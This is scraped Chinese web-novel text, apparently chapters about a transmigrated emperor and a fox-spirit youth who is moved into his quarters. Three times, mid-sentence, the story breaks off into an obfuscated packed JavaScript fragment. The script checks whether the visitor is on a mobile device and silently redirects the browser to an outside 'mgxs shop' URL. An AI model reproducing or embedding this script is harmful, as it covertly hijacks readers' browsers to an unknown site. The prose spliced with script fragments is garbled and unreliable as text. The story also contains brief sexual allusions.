维持现状就行。 商缙言重新靠回榻上,目光投向窗外,手臂上的伤口隐隐传来一阵细微的刺痛。 …… 安稚舒硬着头皮,装病躲了商缙言整整六日。 第一日风平浪静,皇帝仿佛真的把他忘了。 第二日,蔡汶就提着沉甸甸的食盒,苦着脸踏入他的小院,一日三次,雷打不动。 第六日,蔡汶更是直接带着太医上门,说是奉陛下之命,来瞧瞧曲陵侯的病是否痊愈。 安稚舒知道,自己再也躲不下去了。 商缙言根本没把他忘了。 躲也没有用。 安稚舒认命地把自己收拾齐整,只好另寻他法。 最好还是主动出击,制造些无伤大雅的麻烦,让商缙言主动对他失去兴趣,不会触怒龙颜,也不会招来杀生之祸的那种。 怀着这般心思,安稚舒跟着蔡汶再次踏入商缙言所在的禅院用午膳。 刚推开门,安稚舒却闻到一股檀香,所有预先准备好的计划,在看清室内情形时瞬间卡壳。 商缙言并非独自一人,而他对面竟坐着一位须眉皆白的老和尚! 两人刚结束一局对弈,气氛沉静。 安稚舒呼吸猛地一窒,脚步僵在门口。 他不认识这个和尚,却还是能从着装判断,必是护国寺内地位极高的法师。 少年慌忙低下头,不敢再看。 怎么会撞见和尚?! 商缙言的目光已瞥了过来。 那老和尚见状,轻轻转动掌中佛珠,朝商缙言行礼:“阿弥陀佛。” “大千世界本无来去,只在一念之间。陛下何不将眼前万物,皆视为另一重修行道场?恰如寒潭映月,月本在天,影落水中。” “若执着于捞月,反碎了满池清辉。” 安稚舒听得云里雾里。 那和尚见有客来了,向商缙言告退,经过安稚舒身边时,目光忽然落在他额间的朱砂痣上,竟停下脚步,极为郑重地朝他躬身行了一礼。 安稚舒吓得往后一缩,警惕地盯着对方。 “去送送慧尘大师。”商缙言的声音响起。 一名小太监应声上前。 慧尘? 安稚舒默念这个法号,想起前几日据说被变相软禁的慧深大师。 这两个是师兄弟吗? “可以过来用膳了。”商缙言又喊他。 安稚舒慢吞吞地挪过去,在商缙言身侧坐下,却只挨着椅子边缘,身体绷紧。 商缙言的目光落在他身上,停顿片刻,忽然问:“你很怕和尚?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098985|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安稚舒肩头猛地一僵,矢口否认:“没有。” 他这几日隐约听闻商缙言正命人严查护国寺僧人的度牒,弄得寺内风声鹤唳,可此刻,皇帝却又如此心平气和地与高僧对弈论道。 人类的心思真的好难懂啊。 安稚舒小心地问:“陛下方才是与大师在聊什么?” “私事。” 安稚舒“哦”了一声:“那陛下听懂大师在说什么了么?” “没听懂。” ……没听懂还能聊,人更奇怪了。 珍馐佳肴流水般呈上,顷刻摆满了半张桌子,没有半点绿色菜叶,全是依着安稚舒口味准备的。 商缙言执起银箸:“前几日蔡汶说你受了惊,身子不适,现在好了吗?” 安稚舒哪敢说吓着自己的“邪祟”本尊就在眼前:“好多了……” “嗯。”商缙言颔首:“那就好,多吃点,我怎么看你好像又瘦了?” 这几日担惊受怕,食不知味,安稚舒确实瘦了些。 他生怕商缙言回过味来感觉不对劲,派人直接把他抓了。 他慢吞吞拿起筷子,夹了一小块鱼肉,送入口中,慢慢地嚼着。 呆在商缙言身边太危险了,稍有不慎就是万劫不复,自己死了也就罢了,反而还容易连累其他狐狸。 今日从这顿午膳……定要慢慢开始划清界限。 他吃得极慢,每一口都细嚼慢咽,仿佛在完成任务。 商缙言目光不知不觉落在他身上。 少年今日戴的流苏耳坠很衬他,细银链下坠着小小的玉石,随着他咀嚼的动作,在白皙颈侧轻轻摇曳,流苏扫过肌肤,莫名让商缙言觉得心头发痒。 可安稚舒吃得实在太少。 没几口,他就放下筷子,声音低低地说:“陛下,我饱了。” 商缙言目光扫过他碗里还剩大半的饭:“你不多吃点?” “不了。”安稚舒摇头,深吸一口气,硬着头皮迎上商缙言的目光:“我明天,可不可以不来这里了?” 商缙言感觉到一丝不对劲,微微一顿:“那好,我之后让人把饭菜给你送过去。” “……不要。”安稚舒今日铁了心要对着他干,“也不要让人送了,陛下……能不能把我的爵位一起收回去啊?” 殿内空气瞬间凝固。 一旁布菜的蔡汶脸色发白,恨不得把自己塞进地缝里。 我的天爷啊,这是能随意收回去的吗?君无戏言,这岂不是把陛下当着猴在耍? 商缙言只死死盯着他。 很奇怪。 明明前几日安稚舒还亮晶晶收下赏赐,怎么一下子变得这么冷淡疏离,甚至迫不及待要划清界限? 安稚舒也不看他,目光落在自己的衣摆上,像是要有意躲避。 真有意思。 商缙言本就感觉这段时间自己的做法有违初衷,现在安稚舒主动提出来了,岂不是正中下怀? 他俩的关系,安稚舒能主动远离,再好不过。 呵,他一点都不在意。 商缙言语气平静得近乎诡异:“是今天的菜不合胃口?” 安稚舒纳闷地抬眼看他。 按理来说,皇帝应当不喜欢他这种出尔反尔的人,应该斥责他不知好歹。 可是商缙言却没发怒,甚至没冷脸,还在问菜色? 也没人跟他说过,传闻中的暴君这么能忍啊? 箭在弦上,不得不发。安稚舒心一横,继续加码:“对,我不喜欢吃这个,好难吃。” 甚至带着点无理取闹的意味。 商缙言非但没恼,反而追问:“那你喜欢吃什么?” 好像随时准备让膳房改变菜色。 安稚舒心里顿时慌乱起来。 难道还不够?难道要更过分才行? 他脑子飞速运转,咬咬牙,干脆下一剂猛药: “我喜欢吃老鼠。” 商缙言顿时沉默。 安稚舒瞧见他的神情,心底稍松。 总算……走对一步路了? 谁会喜欢一个爱吃老鼠的人。 他乘胜追击,继续自毁形象:“而且,我饿得受不了,就会去偷别人家的鸡吃,经常会被狗和那些人撵着跑,没偷成功,我就去抓老鼠吃。” 谁会喜欢一个偷鸡摸狗的人。 狐狸吃老鼠,也会吃小鸟,还会捉鱼。 如果冬天实在找不到吃的,安稚舒确实会去鸡圈附近碰碰运气,等里面的鸡病死,再偷偷把鸡叼走。 但大部分时间都没有这样的机会,他记忆里只尝试过一次,还被人发现打跑了,只好吃些浆果果腹。 偷东西的行为的确不对,但此刻为了避宠,安稚舒故意夸大其词,说得自己像个惯偷。 他心虚强调:“我经常这么干的。” 当然,他还有最大的猛料没有放出来。 他是人类最讨厌的狐狸。 但这个不能说,说了就真没命了。 皇帝久久没有说话。 就在安稚舒以为避宠成功时,商缙言动了。 他抬手捏了捏眉心,闭上眼,再睁开时,眼底竟闪过一丝不忍,仿佛想到了什么极其糟糕的画面。 足足沉默了五秒,像是在进行一场艰难的思想斗争。 然后,商缙言做出了决定。 “蔡汶。” 蔡汶一个激灵:“奴才在。” 商缙言深吸一口气:“你找人捉一批专门吃谷子的田鼠仔细养起来,务必要干净,叫膳房总管和太医一同来见朕,让他们研究研究这田鼠怎么处理才最洁净。” 他转回目光,看向呆住的安稚舒,语气放缓,像是在哄小孩:“朕可以满足你,但不能天天吃这个,从明日起你必须按时乖乖用膳,只有你好好吃饭,朕才会偶尔奖励给你。” “记住,只是偶尔,朕会想办法把你饮食纠正回来,老鼠不干净,不能一直吃这个,明白吗?” 安稚舒:? 是不是哪里不太对劲?! 12.狐还是太笨了 安稚舒说这句话时的表情太真诚了。 没有赌气,眼眸干净认真,甚至带着陈述事实的坦然。 这完全不是在闹脾气说假话。 吃老鼠? 商缙言在现代时,隐约听说过有些地方有食用田鼠干,但那是经过专业养殖的田鼠,与安稚舒口中那种在野地里乱窜的大老鼠截然不同。 是因为……幼时根本没人管,饿到走投无路,才会被迫去抓老鼠充饥吗?毕竟商缙言记得安稚舒某些零星消息,他从五岁时便流落在外了。 五岁的孩子能做什么? 一个半大的孩子,要怎么活下去? 商缙言忽然想起近日翻阅的陈旧奏报。 自从“狐祭”盛行,各地大肆捕杀狐狸以来,许多原本狐狸活跃的区域,鼠患也开始悄然泛滥,老鼠啃噬禾苗,岁收减半,直到原主登基后才慢慢有所好转。 可对于生活在社会最底层的百姓来说,田间地头那些老鼠,或许就成了仅有的肉类来源。 商缙言的心沉甸甸地下坠,无法忽视的震惊猝不及防地涌了上来。 难怪安稚舒会这么瘦,抱在怀里都能摸到骨头。 长期的饥饿,已经扭曲了他的饮食认知。 于是商缙言立刻想到了解决方案,刚说出口,就见安稚舒彻底呆住了,漂亮的眼睛瞪得圆圆的,似乎完全失去了反应能力,一个字也说不出来。 他看着安稚舒这幅模样,忍不住在心底叹了口气。 是……高兴坏了吧?没想到自己会这么说? “陛下。”安稚舒终于找回了自己的声音,艰难地再次强调:“我吃的是老鼠,老鼠很脏的。” 商缙言放缓了语气:“朕都懂。” 明明吃不惯这几天送去的上好饭菜,却还是默默吃得干干净净,直到今天才小心翼翼提出来……安稚舒懂事得太过让人心疼了。 他才十七岁。 和自己穿越前一样大。 放在现代,正是该备战高考念大学的年纪。 商缙言身边何曾会有穷到要去捉老鼠吃的同学?光是想想那画面,就让他喘不过气。 安稚舒看着商缙言脸上毫不作伪的怜惜表情,彻底陷入沉默。 皇帝根本不懂! 事情的发展怎么会这么诡异?商缙言怎么一副什么都要满足他的样子啊?! 就在他不知该如何收场时,商缙言又开口:“过来。” 安稚舒犹豫了一下,还是依言站起身,慢吞吞地挪过去。 □*□ ! □*□ 啧,腰真的很细。 商缙言脑海里不受控制地闪过原主描写——关于这截细腰是如何被他轻易掌控,如何在情动时绷紧的弧度,又如何汗湿晶莹被他用力…… 可这涩涩的描写背后,竟然是安稚舒从小饥一顿饱一顿导致的瘦弱! 商缙言瞬间痛心疾首:“都饿得低血糖站不稳了,你还不肯好好吃饭!” 安稚舒忍不住回头看他一眼,眼神茫然:“低血糖?” 他有时候真的听不太懂商缙言偶尔冒出的奇怪词语。 而且他站不稳……也不是因为饿,完全是突然贴上来的那只手,让他瞬间慌了神。 见蔡汶还愣在一旁,商缙言忍不住皱眉催促:“没听见朕的吩咐?” “是,奴婢这就去。”蔡汶如梦初醒,忙不迭应声。 再看向安稚舒时,老眼里溢满了不忍。 唉,小侯爷原先怎么是这般光景? 眼见蔡汶真的要让人给自己抓老鼠了,安稚舒惊恐地瞪大眼,连忙出制止:“不用,真的不用麻烦了!” 蔡汶连说:“这怎么能算麻烦呢,小侯爷想要什么,陛下和奴婢们自然要尽力满足的。” 商缙言和蔡汶的目光都落在他身上,安稚舒头皮发麻,骑虎难下。 他思索半晌,终于急中生智:“其实比起老鼠,我还是更喜欢吃兔子……” 如今他的养父是太常卿,自己也是身份尊贵的侯爷,自然犯不上再吃什么老鼠。 覆在他后腰上的手终于松开了。 商缙言反复确认后,改口吩咐:“那便让厨房以后多备些兔肉。” 他又看向安稚舒:“现在能好好吃饭了吗?” 安稚舒:“……可以的吧。” 声音蔫蔫的。 他本来就没吃饱,是为了惹怒皇帝才故意停筷,此刻肚子早已饿得咕咕叫。没想到偷鸡不成蚀把米,非但没让商缙言厌弃,反而更让对方上心了,还盯着他必须把饭吃完。 事情怎么会变成这样?! 安稚舒低头含泪吃了两大碗。 别说商缙言了,就连一旁伺候的蔡汶都忍不住频频给安稚舒布菜,生怕他会饿晕过去。 看见少年终于把饭菜吃光,商缙言脸上才露出满意的神色:“真乖。” 安稚舒耳根瞬间烧了起来。 任务彻底失败,还把自己撑得够呛。 安稚舒放下碗筷,只想赶紧逃离这个地方。 结果还没来得及开口告辞,商缙言的声音再次响起: “你今日起,不必回那边了。” 安稚舒倏然抬头,脸上再次露出那种呆呆的表情:“为什么?” 话一出口,连商缙言自己都怔了一下。 他原本……不是打算和安稚舒保持距离的吗? 可这几天观察下来,安稚舒在他面前总是像没有安全感,神经紧绷着,仿佛捂着什么天大的秘密。 得了侯爵之位,非但不喜,反而惶恐不安,甚至不惜故意想让他讨厌自己,用这种手段退还。 这么拙劣的手段……在商缙言眼里看来,有点像在委屈撒娇地诉苦。 他顿时沉默许久。 哈? 被他强取豪夺的主角受在跟他撒娇? 商缙言沉默许久后缓缓开口:“既然要盯着你的饮食,自然住在朕这里更方便,近来雨雪频繁,你日日往返容易滑倒。那些宫人也辛苦,大冷天顶风冒雪送饭,万一摔了也是麻烦,不如直接搬过来。” 商缙言自己都在心里感慨。 果然,他还是扮演不好一个暴君。 就算要和安稚舒保持距离又怎样?这是他的子民,他身为皇帝,爱民如子怎么了? 安稚舒听完彻底傻住。 跟皇帝住在一起?岂不是更增加了暴露的风险?! “陛下不用了。”他慌忙拒绝,声音都带着颤,“我要问过我阿爹的意见!” 一旁蔡汶笑眯眯接话:“小侯爷,这有何难?老奴这就去同安大人说一声,想必安大人定能体恤陛下爱护之心,绝无异议的。” 商缙言颔首:“去吧。” 安稚舒看着蔡汶快步离去的背影,内心一片绝望,甚至在心里将各路菩萨佛祖都求了一遍。 阿爹,一定要想办法把他捞出去啊! …… 蔡汶回来得比安稚舒预想中快得多。 等他看见蔡汶身后跟着的小太监们,抬着几个眼熟的箱子,还拎着他那个小小的包袱时,最后一丝侥幸也彻底熄灭了。 狐的天都塌了。 蔡汶语气轻松:“安大人很是通情达理,一听是陛下的意思,当即就允了,还特意托奴婢将小侯爷平日的功课一并带过来,盼着陛下得空时,能多敦促敦促小侯爷学习。” 商缙言闻言挑了挑眉:“哦?很快就同意了?” “是,安大人并未多问,只嘱咐小侯爷要听陛下的话,用心读书。” 商缙言没再追问,只看向魂不守舍的安稚舒,好奇地问:“你最近在读些什么书?” 安稚舒声音带着点窘迫:“去岁在京城安顿下来后,就开始跟着哥哥姐姐们识字,现在还在念《三字经》……” 商缙言恍然。 还在宝宝启蒙阶段啊。 难怪反应经常懵懵懂懂的。 “好好学。”商缙言鼓励道:“争取这次祭礼结束之后能跟上进度,去国子监读书,安家其他子弟不是也要去么?有个伴。” 安稚舒没敢说,他们家就挑不出几只能跟上进度的聪明狐狸。 他小声抗拒:“能不能不去呀?我不喜欢念书。” 而且他的进度已经很快了! 至少比族里大部分连自己名字都写不利索的文盲狐狸强多了! “怎么能不念书?”商缙言语气理所当然:“学无止境,在我们这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104229|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常情况下,大多数人都是要先读九年书的,你这个年纪正是该好好读书的时候,很多人要读到二十四岁,甚至学一辈子的大有人在。” 安稚舒眨了眨眼。 在我们这儿?京城何时有过这样的规矩了? 他纯属好奇地问:“那陛下现在也还在读书吗?” 商缙言笑容一僵。 按理说他这个年纪确实还在读书。 可他刚上大学没多久就穿过来了,大一都没念完,现在最高学历顶多—— 高中。 “这你别管。”商缙言生硬地结束话题,“吃得差不多便去午休吧,我让宫人将你的院子收拾出来。” 说完,高中学历的暴君十分破防地走了。 独留安稚舒在原地百思不得其解。 宫人的效率高得惊人。 不过半个时辰,一切便已安排妥当。 蔡汶亲自引着安稚舒去看他的新住处:“小侯爷这边请,此间厢房本是预留随行后妃起居的,陛下尚无后妃,这些屋子便一直空着。您千万别嫌弃,此处的陈设物件都是顶好的。” 屋子确实宽敞明亮许多。 不止一间房,还附带一个小小的独立院落,可以在这里玩雪。屋内炭火烧得正旺,安稚舒刚踏进去,便有一名眉清目秀的小太监双手奉上手炉。 蔡汶连忙介绍:“侯爷,这是奴婢的义子,名叫钱焕,打今儿起就由他来贴身伺候您,您有什么需要的,尽管吩咐他。” 小狐狸警惕地打量陌生人。 太监察觉到他的目光,立刻机灵地补了一句:“侯爷但有差遣,奴婢万死不辞。” “……好。”安稚舒干巴巴地应了一声。 贴身伺候?那岂不是时刻都有人盯着? 他在新屋子里转了一圈,钱焕便领着其他宫人手脚麻利地归置带来的东西。 眼见他们就要打开那个装着各种漂亮首饰的大箱子,安稚舒心头一紧:“就收拾到这儿吧,我有些累了,想睡觉。” 钱焕十分识趣,立刻停下动作:“是,那奴婢们先退下,侯爷好生休息。” 说完,便带着其他人退下,轻轻带上了门。 房门一关,焦急的小狐狸立刻扑到那个大箱子前,手忙脚乱地打开,从最底层摸出那对铃兰银耳饰和银项圈。 他在屋子里四处张望,寻找可以安全藏匿的地方。 衣柜?床底?书架后?总觉得哪里都不够隐蔽。 最后,安稚舒心一横,将这两件容易暴露自己身份的东西一股脑塞进枕头下面。 天天睡觉前检查一遍。 这个地方,应该不会有人发现吧? 做完这一切,安稚舒像是耗尽了力气,慢慢坐在了床榻边缘。 小狐狸一点一点看过这间空旷的屋子,巨大的茫然顿时席卷而来。 现在要怎么办,住到商缙言眼皮子底下了。 二叔说要固宠争宠,可是商缙言根本没睡他。 阿哥说要避宠,可他弄巧成拙,现在直接搬到了皇帝眼皮子底下,日夜相对。 唯一能够确认的就是,商缙言目前还没发现他的真实身份。 他好像什么都做不好。 答应的事情一件没办成,反而把事情越弄越糟,阿爹甚至没有多问一句,就同意把他送到这里来,是不是也觉得他麻烦? 小狐狸吸了吸鼻子,慢慢蜷起身体,双臂紧紧抱住自己的膝盖。 他还是太笨了。 不知过了多久,炭盆烧得太旺,屋里空气变得有些憋闷燥热。 安稚舒擦了擦眼泪,红着眼站起身,想去将窗户打开一条缝透透气。 他走到窗边,刚伸手推开木窗,清冷的空气便涌了进来。 正转身回到床边时,安稚舒目光随意地扫过窗外那个小院子。 突然,院子角落一个不起眼的雪堆,似乎动了一下。 安稚舒一怔,以为自己哭得眼花,下意识抬手揉了揉眼睛。 下一刻,那雪堆顶端簌簌落下更多雪粒,一颗毛茸茸的白狐狸脑袋从那雪堆里小心翼翼地探了出来。 安稚舒辨认半天,忽然倒抽一口凉气,下意识压低声音惊呼: “二叔?!” 13.狐又开始固宠了 安稚舒尚在愣神之际,那只白狐狸已经窜到窗下,艰难爬上窗户跳了进来,落在室内的地毯上。 它用力抖了抖身子,将身上的雪粒都抖落下来,在地面上洇开一片湿痕。 “你阿爹不放心,让我过来瞧瞧你。”二叔仔细将安稚舒从头到脚打量了一遍,见他除眼圈微红外,并无大碍,这才稍稍放松:“这究竟是怎么回事?皇帝怎么会突然要你搬过来?事出突然,我们连商量的时间都没有,又不敢抗旨,只能暂且应下。” 安稚舒怔住了,呆呆地看着二叔:“所以是因为事出突然才同意的吗?我还以为……” 二叔一看他这表情,便大致猜到这傻狐狸崽子刚才在胡思乱想些什么,无奈叹了口气:“下次若遇上拿不准的大事,一定要先同族里通气,大家一起想办法。” 安稚舒有些羞愧地低下头:“嗯……我知道了。” 让大家想办法好像也没用呀,每次不是随机应变就是见机行事…… 二叔瞧他那湿漉漉的眼眶,心里也软了几分,想抬起爪子拍拍他安慰,奈何狐身矮小,实在够不着。 安稚舒却毫无芥蒂,直接用二叔的毛毛蹭掉了自己的眼泪。 猝不及防被当成抹布的二叔:…… 算了,孩子还小。 小狐狸小心翼翼擦完眼泪,才瓮声瓮气地说:“二叔,这里暗卫很多的,你下次别冒险过来了,太危险了。” “放心,我来之前仔细观察过,挑了最稳妥的时机。”二叔随即切入正题,“说说吧,到底发生了什么?怎么就到了非要你住过来的地步?” 安稚舒瘪了瘪嘴,有点茫然,将事情原委慢吞吞道来:“阿哥让我要避宠,我躲了好几天都没避开,想着主动出击或许能惹陛下厌烦,就跑过来说了些话,可不知道哪里说错了,陛下现在不仅要盯着我吃饭,还直接让我搬过来了。” 小狐狸越说越担忧:“二叔,这可怎么办呀?阿爹有没有什么法子能把我弄出去?” 要是让商缙言和这里的人发现他是狐狸…… 他真的会死掉的。 面前的二叔顿时陷入长久的沉默,只有狐狸尾巴尖在地上扫来扫去。 安稚舒惴惴不安地盯着他。 “小舒。”过了半晌,二叔才艰涩开口,“来之前你阿爹还有几位叔叔已经商议过了,我们一致认为,你暂时留在这里或许更好。” 安稚舒眼睛倏然睁大。 二叔见状,连忙解释:“不是族里不想救你,实在是眼下情势所迫。整个护国寺都被封锁,进出森严,谁都不知道皇帝最近要干什么,我们自己想安然脱身都难,安茗说的避宠……” 他摇了摇头:“太过理想化了,在皇权面前,哪有那么容易?” 安稚舒脸色变得有些苍白:“二叔,你们是真的要让我去跟陛下睡觉吗?” “你们孩子家想事情就是太简单了。”二叔叹道:“圣宠岂是你说能避就能避的?我一开始不就同你说过,要把握住这个机会吗?” 安稚舒迟疑道:“可阿哥说得也有道理,陛下给的东西,他想收就能收回去。” 二叔反问:“那陛下硬要给,你三番两次推拒,甚至故意惹他厌烦,他难道就不会生气了吗?” 小狐狸的脸顿时垮了下来。 皇帝真的好难伺候啊! “二叔的话你再仔细琢磨琢磨。”二叔语重心长,“在御前侍奉,并非简单的‘避’或‘迎’,若你不想以色侍人,那便想办法让陛下看到你其他的价值。” “做个得用的宠臣,未必不比宠妃安稳。” 安稚舒茫茫然:“可是我好像没什么用处,是不是只能做宠妃了?” 二叔被他的话弄得一噎:“每个人都有长处的,你只是还没发现自己的长处罢了。” “总之记住我的话,你需要借这个机会,在皇帝身边真正站稳脚跟,即便将来族中有变,你想离开,也比毫无根基时方便得多。” 二叔的声音愈发低沉:“你阿爹,还有我们这些老家伙,总有护不住你们的一天,狐族将来总得有个能抗事的撑起来。” 若安稚舒现在就能站稳,日后无论遇到什么都有回旋的余地,可若是现在一味想逃,那便是将自己永远置于被动之地。 安稚舒隐隐听出些不对。 这怎么听着像是要培养他当狐狸头头的意思?! 他有些不安:“可阿爹是九尾狐啊,九尾狐不是不会死吗?” 二叔语气复杂:“傻孩子,这世上哪有真正不死之物?你阿爹只是寿命比寻常狐狸长久,但不是金刚不坏之身。” 安稚舒听得似懂非懂。 但他还是明白了一点,二叔又给他发了固宠的任务。 小狐狸蔫蔫地问:“那我现在应该做什么呀?” “眼下最要紧的还是设法从皇帝嘴里打探那只白狐的下落,若它还活着,我们才能筹划后续。” “不必过于害怕,以你的聪明伶俐,总能找到办法的。” 安稚舒:…… 这话和“见机行事”有什么区别吗? 二叔和阿哥一样,光是指引方向,却不给具体法子!!! “今日就先到这儿吧。”二叔见交代得差不多了,准备离开,“记住,不必太过害怕。你阿爹说,只要你乖乖听皇帝的话,他不会无故为难你的。” 安稚舒不安地问:“真的吗?” 二叔没有直接回答,反而问道:“这几日是不是皇帝一直在送吃的给你?” “……是。” “他是不是赏了你许多贵重漂亮的首饰,还给了你侯爵之位?” “……嗯。” “那他可曾真正凶过你,打过你?” 安稚舒仔细想了想,小声道:“那还是凶过的,那天晚上在床上,他很凶……” 把他摁住,说不喜欢男人的样子,真的超——级——凶—— 二叔被噎了一下,胡须抖了抖:“这件事,或许可以不用提了。” 他跳过这个尴尬的话题,总结道:“既来之则安之,他让你好好吃饭,你便乖乖吃。你也是,瞧这瘦的,把身子养好,比什么都强,安茗都胖成狗了。” 安稚舒垂下眼睫,瞧着格外乖巧:“好吧。” 二叔不再多言,转身灵巧地跃上窗台,回头看了他一眼,几个起落便消失不见。 安稚舒独自站在窗边,直到冷风扑面而来,激得他打了个哆嗦,才恍然回神。 这可怎么办? 二叔和阿哥说得好像都很有道理,他夹在中间,简直左右为难,彻底迷糊了。 安稚舒拧着秀气的眉头,苦恼思索了半天,脑子里像塞了一团乱麻。 这种复杂的问题,狐族内部还有得吵呢。 他还是听话好了,只有听话才不会被其他狐狸扔掉。 安稚舒看着外面未化的雪愣怔出神,突然情不自禁畅想没有狐祭之前的狐狸,过得是如何舒心自在的生活。 只不过他一出生便开始东躲西藏,以前狐狸究竟如何自由,他不知道,阿哥不知道,二叔也不知道。 今天二叔说要固宠,那他就去固宠吧。 反正商缙言看起来,好像确实也没有传说中那么可怕? 不消片刻,安稚舒便神奇地自我说服,收拾好乱糟糟的心情,推开房门去找商缙言。 钱焕听见开门声,连忙抱着一件厚实的披风追出来,手脚麻利地给安稚舒披上系好:“小侯爷,外头天寒,您这是要去哪儿?” 安稚舒脚步顿了顿:“我要去见陛下。” 钱焕:? 这刚安顿下来,怎么就要主动去见圣驾了? 就在他愣神的功夫,安稚舒已经裹紧披风,抬脚往前走了。 钱焕赶紧追上去:“小侯爷,见陛下一般都需要先行通禀的,不可直接闯入。” 安稚舒这才停下脚步,有些茫然:“还需要通禀吗?” “自然是要的,这是规矩。”钱焕点头。 “那你先去吧。”安稚舒走到廊下一处背风的地方,“我会乖乖在这里等的。” 钱焕顿时哭笑不得。 要等也不是在这冰天雪地的廊下等啊! 但他又不敢强行把这位小祖宗拉回暖和的屋里。 正不知如何是好之际,钱焕瞥见蔡汶端着一个托盘,上面放着一碗热气腾腾的药,正从另一边廊下匆匆走过。 钱焕如同见到救星:“干爹!” 蔡汶闻声回头,见安稚舒站在廊下,不由讶异道:“小侯爷这是做什么?这般冷的天,怎的坐在外头?” 见蔡汶走了过来,安稚舒小声道:“我……我想见陛下,但是要通禀,蔡公能帮我和陛下说一声吗?” 蔡汶道:“自然是可以的,小侯爷不妨先回屋里等着?” 还要回去呀…… 安稚舒的目光已然落在他手中的药碗上,好奇地问:“那好吧……蔡公,这是什么呀?” “还不是陛下的老毛病。”蔡汶解释道,“方才陛下刚歇下,便有紧急公务不得不唤醒,如今头疼得厉害,老奴让人煎了药送过去,可陛下如今正烦着,不肯饮用,药凉得快,只得再拿去煨热了。” 安稚舒眼睛一亮。 示好的机会,这不就来了? 他抬眸看向蔡汶,语气带着几分恳求:“要不然让我端过去吧,我看看能不能让陛下喝药。” 蔡汶迟疑了一瞬。 安稚舒连忙补充:“您放心,我不会往里面下药的。” 蔡汶:…… 单是这话,就知道安稚舒不会干这种事情。 他将手中托盘递了过去,无奈道:“那便有劳小侯爷了。” 少年脸上瞬间绽开笑颜,接过托盘,兴冲冲地走了。 钱焕正要跟上去,却被蔡汶一把拉住,还挨了一个爆栗。 “跟过去做什么?”蔡汶没好气道:“这般没眼力见。” 钱焕摸了摸头,恍然大悟。 …… 安稚舒端着那碗汤药,脚步轻快地走向商缙言的厢房。 他轻轻推开虚掩的房门,一股淡淡的血腥味扑面而来。脸上的表情还未来得及调整,就被眼前的场景给吓了一跳。 商缙言并未像往常那样慵懒倚坐,玄色常服衬得他面容冷峻。 这是一种安稚舒从未见过的神情。 漠然,居高临下。 地上跪伏一个僧人,僧袍凌乱不堪,沾满了暗红色的污渍,肩膀微微颤抖。 裴竣则像是一尊没有生命的雕像般立在旁边,面无表情。 安稚舒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108902|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步瞬间僵住。 就在那两名僧人被暗卫拉出房门,经过他身边时,商缙言的目光瞬间看了过来。 安稚舒刚想溜走,却避无可避,硬着头皮极其缓慢地挪过去。 好后悔来这儿。 “你来干什么?”商缙言尚未抽离,声音要比往日低沉。 安稚舒喉咙发干,很小声地道:“我来给陛下送药。” 害怕的小狐狸努力举了举手中的托盘。 商缙言的目光在他惨白的脸上停留一瞬,又落在那碗药上。 他伸出手,指尖随意地碰了碰碗壁,然后收回手:“还很烫,先放着吧。” “好……”安稚舒连忙端着药碗,小步快走到一旁的桌边放下。 商缙言视线重新投向裴竣,烦躁道:“那人已经跑了?” “是,此人并未在护国寺登记度牒,他将加了料的菜交给安茗后,便迅速趁乱逃离。陛下,此事倒像是与旧太子余党有关。” 商缙言抬手,用力揉了揉眉心,脸上显出明显的厌烦。 旧太子对原主来说,可是一个巨大的污点。 那位太子殿下与他同为一母所出,生前风评极佳,仁德贤明,几乎是众望所归的储君。 可就在登基前,他悍然发动宫变,弑兄夺位,随后又以雷霆手段清洗朝堂,做实了暴君之名。 然而旧太子党羽并未完全根除,这些人就跟南方大蟑螂似的,平时看不见,偶尔冒出一两只,仔细探查发现早就繁衍了祖宗十八代。 商缙言穿书以来遭遇的多次事件,都能和这些旧党扯上关系。 尤其这次护国寺祭礼上的变故,对方显然是想将刺客与“皇帝得位不正,招致天罚”联系在一起。 这也是商缙言为何在听到住持宣扬天罚时,当机立断将其关押,并借由刺客和安稚舒被下药一事,彻底封锁护国寺。 可这些“旧党”比想象中更难缠,查了半天,进展寥寥,如同无头苍蝇。 想到此处,商缙言的头更疼了。 他本来以为自己穿的是簧文,想着与安稚舒保持距离就行,就当gap几年了。 现在倒好,没办法gap,不仅有变gay的风险,甚至还会die。 裴竣立在下首,大气不敢出,此案由暗卫全权负责却毫无头绪,本就是他的失职。 可商缙言不发话,他也不敢擅自告退。 一时间,厢房内陷入了令人窒息的沉默。只有炭火偶尔迸裂的轻响,以及…… 一阵清脆的叮当声。 商缙言蹙眉,缓缓转头,看向噪音的来源—— 安稚舒不知何时又端起了那碗药,另一只手拿着小巧的汤匙,舀起药汁,然后凑近自己的唇边,小心地吹着气。 商缙言瞬间破功,惊奇地问:“你在做什么?” 